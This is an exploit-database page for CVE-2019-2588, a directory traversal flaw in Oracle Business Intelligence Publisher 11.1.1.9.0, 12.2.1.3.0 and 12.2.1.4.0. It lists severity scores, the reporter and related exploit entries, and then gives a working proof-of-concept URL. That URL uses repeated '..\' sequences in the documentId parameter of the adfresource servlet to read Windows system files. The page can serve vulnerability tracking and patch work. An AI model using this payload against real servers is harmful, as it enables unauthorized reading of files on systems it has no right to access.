Oracle Business Intelligence 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - Directory Traversal Exploit

zdt · 2019-04-19

Description

Oracle BI 11.x/12.x Directory Traversal Exploi

Affected Oracle Business Intelligence Publisher versions

Oracle Business Intelligence Publisher= 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0

All known vulnerabilities by product

Bi Publisher Oracle Fusion Middleware

CVSS 5.6 for CVE-2019-2588

5.6

MEDIUM SEVERITY

VectorNONE

EPSS Score

36.8%higher than 98.4% of all CVEs

Updated 2026-08-25

Exploit Details

Modified:2019-04-19 00:00

Last Seen:2019-04-19 23:54

Reporter:Vahagn Vardanyan

Tags

oracle business intelligencedirectory traversalexploitCVE-2019-2588windows

Other exploits for CVE-2019-2588

Oracle Business Intelligence 11.1.1.9.0 12.2.1.3.0 12.2.1.4.0 - Directory Traversal

2019-04-19 Vahagn VardanyanEXPLOITPACK

Oracle Business Intelligence 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - Directory Traversal

2019-04-19 Vahagn VardanyanEXPLOITDB

Oracle Business Intelligence Directory Traversal

2019-04-19 Vahagn VardanyanPACKETSTORM

Exploit Code

MARKDOWN15 lines

## https://sploitus.com/exploit?id=1337DAY-ID-32573
# Exploit Title: Directory traversal in Oracle Business Intelligence
# Exploit Author: @vah_13
# Vendor Homepage: http://oracle.com
# Software Link:
https://www.oracle.com/technetwork/middleware/bi-enterprise-edition/downloads/index.html
# Version: 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0
# Tested on: Windows
# CVE : CVE-2019-2588

PoC

http://server:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

#  0day.today [2019-04-19]  #